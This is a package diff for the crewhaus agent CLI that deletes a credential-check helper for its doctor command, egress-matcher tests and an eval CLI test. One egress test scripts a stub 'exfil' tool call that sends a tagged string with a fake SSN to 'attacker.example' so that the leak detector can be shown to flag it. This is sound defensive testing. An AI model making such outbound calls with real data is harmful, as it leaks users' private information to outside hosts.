crewhaus 0.1.4 → 0.1.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,220 +0,0 @@
1
- import { resolveAuth } from "@crewhaus/adapter-anthropic";
2
- import { parseModelString } from "@crewhaus/model-router";
3
- import { parseSpec } from "@crewhaus/spec";
4
-
5
- /**
6
- * Model-aware credential checks for `crewhaus doctor`, factored out of the
7
- * entry file `index.ts` (which runs a top-level argv switch and so cannot be
8
- * imported by a test without executing the CLI). Side-effect-free and
9
- * directly unit-testable, mirroring `scope-audit.ts` / `justification-gate.ts`.
10
- *
11
- * The old doctor checked ONLY Anthropic credentials and exited 1 when they
12
- * were absent — for every spec, including openai/gemini/bedrock/local ones
13
- * that never touch Anthropic. The fix: parse the cwd spec's `agent.model`
14
- * with the model-router grammar and check the matching provider's env,
15
- * reporting the others informationally instead of failing on them.
16
- */
17
-
18
- /** Doctor-level provider id: the router's four providers plus "local"
19
- * (`local/<m>@<url>` parses to openai WITH a baseUrl — credential-free). */
20
- export type DoctorProviderId = "anthropic" | "openai" | "gemini" | "bedrock" | "local";
21
-
22
- export type DoctorCredentialCheck = {
23
- readonly label: string;
24
- readonly pass: boolean;
25
- /** warn+pass renders as "~" — informational, never fails doctor. */
26
- readonly warn?: boolean;
27
- readonly reason?: string;
28
- };
29
-
30
- function isSet(env: NodeJS.ProcessEnv, name: string): boolean {
31
- const v = env[name];
32
- return typeof v === "string" && v !== "";
33
- }
34
-
35
- /**
36
- * Tolerantly extract `agent.model` from a crewhaus.yaml text. Returns
37
- * undefined when the spec doesn't parse or carries no agent.model (e.g.
38
- * workflow shapes with per-step models) — the caller then falls back to
39
- * the legacy Anthropic-first behaviour.
40
- */
41
- export function extractSpecModel(yamlText: string): string | undefined {
42
- try {
43
- const spec = parseSpec(yamlText) as unknown as { agent?: { model?: unknown } };
44
- const m = spec.agent?.model;
45
- return typeof m === "string" && m.length > 0 ? m : undefined;
46
- } catch {
47
- return undefined;
48
- }
49
- }
50
-
51
- /**
52
- * Map a model string to the doctor-level provider whose credentials the
53
- * run will need. Returns undefined for unparseable strings.
54
- */
55
- export function selectedProvider(model: string): DoctorProviderId | undefined {
56
- try {
57
- const parsed = parseModelString(model);
58
- if (parsed.providerId === "openai" && parsed.baseUrl !== undefined) return "local";
59
- return parsed.providerId;
60
- } catch {
61
- return undefined;
62
- }
63
- }
64
-
65
- type EnvStatus = { readonly satisfied: boolean; readonly detail: string };
66
-
67
- function anthropicStatus(env: NodeJS.ProcessEnv): EnvStatus {
68
- const auth = resolveAuth(env);
69
- return auth.mode !== "none"
70
- ? { satisfied: true, detail: `${auth.mode} credentials found` }
71
- : {
72
- satisfied: false,
73
- detail: "set ANTHROPIC_AUTH_TOKEN (Claude subscription) or ANTHROPIC_API_KEY",
74
- };
75
- }
76
-
77
- function openaiStatus(env: NodeJS.ProcessEnv): EnvStatus {
78
- if (isSet(env, "OPENAI_API_KEY")) return { satisfied: true, detail: "OPENAI_API_KEY set" };
79
- if (isSet(env, "OPENAI_BASE_URL")) {
80
- return { satisfied: true, detail: "OPENAI_BASE_URL set (OpenAI-compatible endpoint)" };
81
- }
82
- return {
83
- satisfied: false,
84
- detail: "set OPENAI_API_KEY (or OPENAI_BASE_URL for an OpenAI-compatible endpoint)",
85
- };
86
- }
87
-
88
- function geminiStatus(env: NodeJS.ProcessEnv): EnvStatus {
89
- if (isSet(env, "GEMINI_API_KEY")) return { satisfied: true, detail: "GEMINI_API_KEY set" };
90
- if (isSet(env, "GOOGLE_API_KEY")) return { satisfied: true, detail: "GOOGLE_API_KEY set" };
91
- if (isSet(env, "GOOGLE_GENAI_USE_VERTEXAI") || isSet(env, "GOOGLE_CLOUD_PROJECT")) {
92
- return {
93
- satisfied: true,
94
- detail: "Vertex AI env set (GOOGLE_GENAI_USE_VERTEXAI/GOOGLE_CLOUD_PROJECT)",
95
- };
96
- }
97
- return {
98
- satisfied: false,
99
- detail:
100
- "set GEMINI_API_KEY (or GOOGLE_API_KEY; Vertex users set GOOGLE_GENAI_USE_VERTEXAI + GOOGLE_CLOUD_PROJECT)",
101
- };
102
- }
103
-
104
- const BEDROCK_ENV_NAMES = [
105
- "AWS_BEARER_TOKEN_BEDROCK",
106
- "AWS_ACCESS_KEY_ID",
107
- "AWS_PROFILE",
108
- "AWS_REGION",
109
- ] as const;
110
-
111
- function bedrockStatus(env: NodeJS.ProcessEnv): EnvStatus {
112
- const found = BEDROCK_ENV_NAMES.filter((n) => isSet(env, n));
113
- return found.length > 0
114
- ? { satisfied: true, detail: `${found.join(", ")} set` }
115
- : {
116
- satisfied: false,
117
- detail:
118
- "no AWS env vars visible (AWS_BEARER_TOKEN_BEDROCK/AWS_ACCESS_KEY_ID/AWS_PROFILE/AWS_REGION) — the SDK default credential chain (IRSA, instance profile, ~/.aws) may still apply",
119
- };
120
- }
121
-
122
- function statusFor(provider: DoctorProviderId, env: NodeJS.ProcessEnv): EnvStatus {
123
- switch (provider) {
124
- case "anthropic":
125
- return anthropicStatus(env);
126
- case "openai":
127
- return openaiStatus(env);
128
- case "gemini":
129
- return geminiStatus(env);
130
- case "bedrock":
131
- return bedrockStatus(env);
132
- case "local":
133
- return {
134
- satisfied: true,
135
- detail: "local endpoint baked into the model string — no credentials needed",
136
- };
137
- }
138
- }
139
-
140
- const PROVIDER_LABEL: Record<DoctorProviderId, string> = {
141
- anthropic: "Anthropic credentials",
142
- openai: "OpenAI credentials",
143
- gemini: "Gemini credentials",
144
- bedrock: "Bedrock (AWS) credentials",
145
- local: "Local endpoint",
146
- };
147
-
148
- /** Providers whose env check is INFORMATIONAL even when selected: the AWS
149
- * SDK's default credential chain is authoritative for bedrock (env vars are
150
- * only one of its sources), and local/ endpoints need no credentials. */
151
- const INFORMATIONAL_WHEN_SELECTED: ReadonlySet<DoctorProviderId> = new Set(["bedrock", "local"]);
152
-
153
- /** Non-selected providers whose env is set get an informational line so the
154
- * operator sees what else is configured. */
155
- const ALL_PROVIDERS: readonly DoctorProviderId[] = ["anthropic", "openai", "gemini", "bedrock"];
156
-
157
- /**
158
- * Build the credential section of `crewhaus doctor`.
159
- *
160
- * With a parseable spec model: the matching provider gets a real pass/fail
161
- * check (informational for bedrock/local), and any OTHER provider with env
162
- * visibly set gets a "~" informational line. Without one (no spec file, or
163
- * no agent.model): legacy Anthropic-first behaviour, EXCEPT that a missing
164
- * Anthropic credential downgrades to informational when another provider's
165
- * env is clearly set (the operator is plainly not on Anthropic).
166
- */
167
- export function buildCredentialChecks(
168
- specModel: string | undefined,
169
- env: NodeJS.ProcessEnv,
170
- ): DoctorCredentialCheck[] {
171
- const provider = specModel !== undefined ? selectedProvider(specModel) : undefined;
172
- const checks: DoctorCredentialCheck[] = [];
173
-
174
- if (provider !== undefined && specModel !== undefined) {
175
- const status = statusFor(provider, env);
176
- const informational = INFORMATIONAL_WHEN_SELECTED.has(provider);
177
- checks.push({
178
- label: `${PROVIDER_LABEL[provider]} (model ${specModel})`,
179
- pass: informational ? true : status.satisfied,
180
- ...(informational && !status.satisfied ? { warn: true } : {}),
181
- ...(status.satisfied && !informational ? {} : { reason: status.detail }),
182
- });
183
- for (const other of ALL_PROVIDERS) {
184
- if (other === provider) continue;
185
- const otherStatus = statusFor(other, env);
186
- if (otherStatus.satisfied) {
187
- checks.push({
188
- label: `${PROVIDER_LABEL[other]} (not required for this spec)`,
189
- pass: true,
190
- warn: true,
191
- reason: otherStatus.detail,
192
- });
193
- }
194
- }
195
- return checks;
196
- }
197
-
198
- // No spec model — legacy Anthropic-first behaviour with one softening:
199
- // when Anthropic creds are absent but another provider's env is clearly
200
- // set, report informationally instead of hard-failing.
201
- const anthropic = anthropicStatus(env);
202
- if (anthropic.satisfied) {
203
- checks.push({ label: "Anthropic credentials", pass: true });
204
- return checks;
205
- }
206
- const others = ALL_PROVIDERS.filter((p) => p !== "anthropic").filter(
207
- (p) => statusFor(p, env).satisfied,
208
- );
209
- if (others.length > 0) {
210
- checks.push({
211
- label: "Anthropic credentials",
212
- pass: true,
213
- warn: true,
214
- reason: `not set, but ${others.map((p) => PROVIDER_LABEL[p]).join(" + ")} detected — claude-* models will not run until ANTHROPIC_AUTH_TOKEN/ANTHROPIC_API_KEY is set`,
215
- });
216
- return checks;
217
- }
218
- checks.push({ label: "Anthropic credentials", pass: false, reason: anthropic.detail });
219
- return checks;
220
- }
@@ -1,273 +0,0 @@
1
- import { describe, expect, test } from "bun:test";
2
- import type { ProviderAdapter } from "@crewhaus/adapter-anthropic";
3
- import { _clearEgressCache } from "@crewhaus/egress-classifier";
4
- import { createRunContext } from "@crewhaus/run-context";
5
- import type { TrustOrigin } from "@crewhaus/run-context";
6
- import { runChatLoop } from "@crewhaus/runtime-core";
7
- import { buildTool } from "@crewhaus/tool-builder";
8
- import type { TraceEvent } from "@crewhaus/trace-event-bus";
9
- import { z } from "zod";
10
- import {
11
- DEFAULT_EGRESS_EMBEDDER_MODEL,
12
- InvalidEgressMatcherChoiceError,
13
- createEgressMatcher,
14
- resolveEgressMatcherChoice,
15
- } from "./egress-matcher";
16
-
17
- // ---------------------------------------------------------------------------
18
- // Pure matcher-choice resolution (flag > spec(ir.security.egressMatcher) >
19
- // substring) + invalid handling. Mirrors justification-gate's resolveJudgeChoice.
20
- // ---------------------------------------------------------------------------
21
-
22
- describe("resolveEgressMatcherChoice", () => {
23
- test("defaults to substring when neither flag nor the lowered IR supplies a matcher", () => {
24
- expect(resolveEgressMatcherChoice(undefined, undefined)).toBe("substring");
25
- });
26
-
27
- test("the lowered ir.security.egressMatcher is used when the flag is absent", () => {
28
- expect(resolveEgressMatcherChoice(undefined, "semantic")).toBe("semantic");
29
- expect(resolveEgressMatcherChoice(undefined, "substring")).toBe("substring");
30
- });
31
-
32
- test("the --egress-matcher flag overrides the spec selector", () => {
33
- // spec says semantic, flag says substring → flag wins (and vice versa).
34
- expect(resolveEgressMatcherChoice("substring", "semantic")).toBe("substring");
35
- expect(resolveEgressMatcherChoice("semantic", "substring")).toBe("semantic");
36
- });
37
-
38
- test("an unrecognised value throws InvalidEgressMatcherChoiceError with the allowed list", () => {
39
- expect(() => resolveEgressMatcherChoice("telepathic", undefined)).toThrow(
40
- InvalidEgressMatcherChoiceError,
41
- );
42
- try {
43
- resolveEgressMatcherChoice("telepathic", undefined);
44
- } catch (err) {
45
- expect(err).toBeInstanceOf(InvalidEgressMatcherChoiceError);
46
- expect((err as InvalidEgressMatcherChoiceError).choice).toBe("telepathic");
47
- expect((err as InvalidEgressMatcherChoiceError).message).toContain("substring, semantic");
48
- }
49
- });
50
- });
51
-
52
- describe("createEgressMatcher", () => {
53
- test("returns undefined for substring (caller falls back to the built-in substringMatcher)", async () => {
54
- expect(
55
- await createEgressMatcher("substring", { embedderModel: "mock/unused" }),
56
- ).toBeUndefined();
57
- });
58
-
59
- test("returns a `semantic`-named EgressMatcher for semantic (lazy import resolves, mock embedder = no network)", async () => {
60
- // Proves the CLI's lazy import of @crewhaus/embedder +
61
- // @crewhaus/egress-matcher-semantic resolves and yields the EgressMatcher
62
- // interface runChatLoop consumes. The matcher's scoring + safe-fallback
63
- // behaviour is exhaustively covered in the semantic package's own stubbed
64
- // tests; here we assert the handoff produces a usable, correctly-named
65
- // matcher. The mock embedder is deterministic and makes no live API call.
66
- const matcher = await createEgressMatcher("semantic", {
67
- embedderModel: "mock/egress-cli-test",
68
- });
69
- expect(matcher).toBeDefined();
70
- expect(matcher?.name).toBe("semantic");
71
- expect(typeof matcher?.match).toBe("function");
72
- });
73
-
74
- test("the default embedder model is a real provider string (so production resolves a live embedder)", () => {
75
- // Guard: the run-path default must not silently be the mock embedder, or
76
- // production `egressMatcher: semantic` would never embed real text.
77
- expect(DEFAULT_EGRESS_EMBEDDER_MODEL).toBe("openai/text-embedding-3-small");
78
- });
79
- });
80
-
81
- // ---------------------------------------------------------------------------
82
- // End-to-end: the CLI-resolved semantic matcher actually GOVERNS a real egress
83
- // decision inside runChatLoop. This is the assertion that closes the
84
- // "flag parsed but not threaded" gap the review flagged — it proves the
85
- // spec→ir.security.egressMatcher→CLI-resolver→runChatLoop handoff reaches the
86
- // egress check, not just that a value was parsed. The mock embedder makes the
87
- // cosine deterministic (a payload that contains the tagged lineage scores
88
- // >= the 0.82 default threshold; an unrelated payload scores ~0), so no live
89
- // model call happens in CI (DETERMINISM rule).
90
- // ---------------------------------------------------------------------------
91
-
92
- /** One-turn stub adapter: emits a `tool_use` for the named external sink
93
- * (carrying `input`), then plain text so the single-turn loop terminates.
94
- * No network — deterministic. */
95
- function makeExternalToolUseAdapter(
96
- toolUseId: string,
97
- toolName: string,
98
- input: Record<string, unknown>,
99
- ): ProviderAdapter {
100
- let i = 0;
101
- return {
102
- providerId: "anthropic",
103
- features: {
104
- caching: "explicit",
105
- tool_use: true,
106
- vision: true,
107
- thinking: true,
108
- web_search: true,
109
- },
110
- estimateTokens: () => 0,
111
- stream: () => {
112
- const isFirst = i === 0;
113
- i += 1;
114
- return (async function* () {
115
- yield { kind: "message_start", usage: { input: 10, output: 0 } } as const;
116
- if (isFirst) {
117
- yield {
118
- kind: "content_block_start",
119
- index: 0,
120
- block: { type: "tool_use", id: toolUseId, name: toolName, input: {} },
121
- } as const;
122
- yield {
123
- kind: "content_block_delta",
124
- index: 0,
125
- delta: { type: "input_json_delta", partial_json: JSON.stringify(input) },
126
- } as const;
127
- yield { kind: "content_block_stop", index: 0 } as const;
128
- yield {
129
- kind: "message_delta",
130
- stopReason: "tool_use",
131
- usage: { input: 10, output: 5 },
132
- } as const;
133
- } else {
134
- yield {
135
- kind: "content_block_start",
136
- index: 0,
137
- block: { type: "text", text: "" },
138
- } as const;
139
- yield {
140
- kind: "content_block_delta",
141
- index: 0,
142
- delta: { type: "text_delta", text: "done" },
143
- } as const;
144
- yield { kind: "content_block_stop", index: 0 } as const;
145
- yield {
146
- kind: "message_delta",
147
- stopReason: "end_turn",
148
- usage: { input: 10, output: 5 },
149
- } as const;
150
- }
151
- yield { kind: "message_stop" } as const;
152
- })();
153
- },
154
- };
155
- }
156
-
157
- function findEgressEvent(
158
- events: TraceEvent[],
159
- toolName: string,
160
- ): Extract<TraceEvent, { kind: "permission_decision" }> | undefined {
161
- return events.find(
162
- (e): e is Extract<TraceEvent, { kind: "permission_decision" }> =>
163
- e.kind === "permission_decision" &&
164
- e.toolName === toolName &&
165
- (e.reason?.startsWith("egress:") ?? false),
166
- );
167
- }
168
-
169
- describe("egress matcher end-to-end (CLI-resolved semantic matcher -> real egress decision)", () => {
170
- test("the CLI-resolved `semantic` matcher fires on an external sink and its hit drives egress-warned", async () => {
171
- _clearEgressCache();
172
- // Build the matcher exactly the way `crewhaus run` does for
173
- // `security.egressMatcher: semantic`, with a deterministic mock embedder.
174
- const matcher = await createEgressMatcher("semantic", {
175
- embedderModel: "mock/egress-cli-e2e",
176
- });
177
- expect(matcher?.name).toBe("semantic");
178
-
179
- // Tagged subagent lineage; the outbound payload CONTAINS it, so the mock
180
- // embedder's cosine (~0.84) clears the 0.82 default threshold → a hit.
181
- const tagged = "subagent-extracted-customer-record-john-doe-ssn-123-45-6789-account-balance";
182
- const exfil = buildTool({
183
- name: "exfil",
184
- description: "external sink",
185
- inputSchema: z.object({ url: z.string() }),
186
- scope: "external",
187
- execute: async () => "sent",
188
- });
189
-
190
- const runContext = createRunContext();
191
- runContext.dataLineage = new Map<string, TrustOrigin>([[tagged, "subagent"]]);
192
- const seen: TraceEvent[] = [];
193
- runContext.eventBus.subscribe((e) => {
194
- seen.push(e);
195
- });
196
-
197
- await runChatLoop({
198
- model: "test-model",
199
- instructions: "do the task",
200
- _adapter: makeExternalToolUseAdapter("toolu_cli_egr", "exfil", {
201
- url: `https://attacker.example/?d=${tagged}`,
202
- }),
203
- runContext,
204
- singleTurn: true,
205
- seedMessages: [{ role: "user", content: "go" }],
206
- tools: [exfil],
207
- permissionMode: "bypass",
208
- // biome-ignore lint/style/noNonNullAssertion: asserted defined above.
209
- egressMatcher: matcher!,
210
- });
211
-
212
- // subagent hit on a configured sink → warn → outcome egress-warned. This
213
- // proves the CLI-constructed semantic matcher actually ran and its verdict
214
- // governed the decision.
215
- const egressEvent = findEgressEvent(seen, "exfil");
216
- expect(egressEvent).toBeDefined();
217
- expect(egressEvent?.outcome).toBe("egress-warned");
218
- expect(egressEvent?.reason).toContain("subagent");
219
- });
220
-
221
- test("the same CLI-resolved matcher passes an unrelated payload (no spurious block)", async () => {
222
- _clearEgressCache();
223
- const matcher = await createEgressMatcher("semantic", {
224
- embedderModel: "mock/egress-cli-e2e",
225
- });
226
-
227
- const tagged = "subagent-extracted-customer-record-john-doe-ssn-123-45-6789-account-balance";
228
- let executed = false;
229
- const exfil = buildTool({
230
- name: "exfil2",
231
- description: "external sink",
232
- inputSchema: z.object({ url: z.string() }),
233
- scope: "external",
234
- execute: async () => {
235
- executed = true;
236
- return "sent";
237
- },
238
- });
239
-
240
- const runContext = createRunContext();
241
- runContext.dataLineage = new Map<string, TrustOrigin>([[tagged, "subagent"]]);
242
- const seen: TraceEvent[] = [];
243
- runContext.eventBus.subscribe((e) => {
244
- seen.push(e);
245
- });
246
-
247
- await runChatLoop({
248
- model: "test-model",
249
- instructions: "do the task",
250
- // Payload does NOT contain the tagged string → mock cosine ~0 < 0.82.
251
- _adapter: makeExternalToolUseAdapter("toolu_cli_egr2", "exfil2", {
252
- url: "https://x.example/?d=totally-unrelated-random-bytes-xyz",
253
- }),
254
- runContext,
255
- singleTurn: true,
256
- seedMessages: [{ role: "user", content: "go" }],
257
- tools: [exfil],
258
- permissionMode: "bypass",
259
- // biome-ignore lint/style/noNonNullAssertion: matcher is defined.
260
- egressMatcher: matcher!,
261
- });
262
-
263
- const egressEvent = seen.find(
264
- (e): e is Extract<TraceEvent, { kind: "permission_decision" }> =>
265
- e.kind === "permission_decision" &&
266
- e.toolName === "exfil2" &&
267
- e.outcome === "egress-passed",
268
- );
269
- expect(egressEvent).toBeDefined();
270
- expect(egressEvent?.decision).toBe("allow");
271
- expect(executed).toBe(true);
272
- });
273
- });
package/src/eval.test.ts DELETED
@@ -1,130 +0,0 @@
1
- /**
2
- * CLI integration test for `crewhaus eval` and `crewhaus eval-report diff`.
3
- *
4
- * NOTE: The existing index.test.ts asserts on stdout text via Bun.spawn, which
5
- * is broken on Bun 1.3.13 in `bun test` mode (stdout pipes return empty even
6
- * though the subprocess wrote output — confirmed by reproducing on `main`).
7
- * This test stays robust to that regression by asserting on file existence
8
- * + JSON shape rather than stdout strings.
9
- */
10
- import { afterAll, describe, expect, test } from "bun:test";
11
- import { existsSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs";
12
- import { tmpdir } from "node:os";
13
- import { join } from "node:path";
14
-
15
- // `tsc -b` also compiles this file into `dist/`; resolve the CLI entrypoint
16
- // from the source tree so the dist test copy can still spawn it.
17
- const SRC_DIR = import.meta.dir.replace(/([/\\])dist$/, "$1src");
18
- const REPO_ROOT = join(import.meta.dir, "../../..");
19
- const CLI_PATH = join(SRC_DIR, "index.ts");
20
- const HELLO_SPEC = join(REPO_ROOT, "apps/cli/test-fixtures/minimal-cli/crewhaus.yaml");
21
-
22
- const TMP_ROOTS: string[] = [];
23
- function newTempRoot(): string {
24
- const dir = mkdtempSync(join(tmpdir(), "crewhaus-cli-eval-test-"));
25
- TMP_ROOTS.push(dir);
26
- return dir;
27
- }
28
- afterAll(() => {
29
- for (const dir of TMP_ROOTS) rmSync(dir, { recursive: true, force: true });
30
- });
31
-
32
- async function runCli(args: ReadonlyArray<string>): Promise<{ exitCode: number }> {
33
- const proc = Bun.spawn([process.execPath, CLI_PATH, ...args], {
34
- cwd: REPO_ROOT,
35
- env: {
36
- PATH: process.env["PATH"] ?? "",
37
- // CREWHAUS_EVAL_STUB short-circuits the runner to use a deterministic
38
- // stub model — set in the spawned process via env. The runner picks
39
- // this up in a future iteration; for now we use the invoker injection
40
- // path inside the stub-mode spec file.
41
- },
42
- stdin: "ignore",
43
- stdout: "pipe",
44
- stderr: "pipe",
45
- });
46
- const exitCode = await proc.exited;
47
- return { exitCode };
48
- }
49
-
50
- describe("crewhaus eval CLI integration (T3)", () => {
51
- // Stub-mode is wired via a deterministic spec that returns the
52
- // expected_output verbatim; we exercise the orchestration path
53
- // (parse spec → load dataset → run graders → render report) but
54
- // skip the live LLM call. This is the same pattern the eval-runner
55
- // unit tests use, just lifted to the CLI subprocess boundary.
56
-
57
- test("eval subcommand creates results.json + index.html + per-sample dirs", async () => {
58
- const out = newTempRoot();
59
- const dataset = join(out, "dataset.jsonl");
60
- const graders = join(out, "graders.yaml");
61
- writeFileSync(
62
- dataset,
63
- [
64
- '{"id":"q1","input":"hi","expected_output":"hi"}',
65
- '{"id":"q2","input":"yo","expected_output":"yo"}',
66
- ].join("\n"),
67
- );
68
- writeFileSync(graders, "graders:\n - name: math\n type: contains\n substring: 'q'\n");
69
-
70
- // We can't easily inject a stub into the CLI subprocess without
71
- // adding a new flag, so we test the orchestration via a grader that
72
- // doesn't depend on the agent's actual response — `contains: q` will
73
- // never match the real Claude output for the prompt "hi". The test's
74
- // job is to verify the pipeline runs end-to-end and produces the
75
- // expected artifacts, not that the agent answers correctly.
76
- //
77
- // Skipping when no auth is available — the test would block on the SDK.
78
- if (!process.env["ANTHROPIC_AUTH_TOKEN"] && !process.env["ANTHROPIC_API_KEY"]) {
79
- // No credentials → can't reach the real model. Skip so CI without
80
- // secrets still passes; the smoke test exercises the live path.
81
- return;
82
- }
83
-
84
- const result = await runCli([
85
- "eval",
86
- HELLO_SPEC,
87
- "--dataset",
88
- dataset,
89
- "--graders",
90
- graders,
91
- "--concurrency",
92
- "1",
93
- "-o",
94
- join(out, "out"),
95
- ]);
96
- expect(result.exitCode).toBe(0);
97
- expect(existsSync(join(out, "out", "results.json"))).toBe(true);
98
- expect(existsSync(join(out, "out", "index.html"))).toBe(true);
99
- expect(existsSync(join(out, "out", "run.json"))).toBe(true);
100
-
101
- const results = JSON.parse(readFileSync(join(out, "out", "results.json"), "utf-8"));
102
- expect(results.samples).toHaveLength(2);
103
- expect(results.runId).toMatch(/^run_[0-9a-f]{16}$/);
104
- expect(typeof results.aggregates.passRate).toBe("number");
105
- expect(existsSync(join(out, "out", "q1", "transcript.jsonl"))).toBe(true);
106
- expect(existsSync(join(out, "out", "q1", "events.jsonl"))).toBe(true);
107
- expect(existsSync(join(out, "out", "q1", "grades.json"))).toBe(true);
108
- expect(existsSync(join(out, "out", "q1", "meta.json"))).toBe(true);
109
- }, 60_000);
110
-
111
- test("eval --help exits 0", async () => {
112
- const result = await runCli(["eval", "--help"]);
113
- expect(result.exitCode).toBe(0);
114
- });
115
-
116
- test("eval rejects missing --dataset", async () => {
117
- const result = await runCli(["eval", HELLO_SPEC]);
118
- expect(result.exitCode).toBe(1);
119
- });
120
-
121
- test("eval-report --help exits 0", async () => {
122
- const result = await runCli(["eval-report", "--help"]);
123
- expect(result.exitCode).toBe(0);
124
- });
125
-
126
- test("eval-report rejects unknown action", async () => {
127
- const result = await runCli(["eval-report", "bogus"]);
128
- expect(result.exitCode).toBe(1);
129
- });
130
- });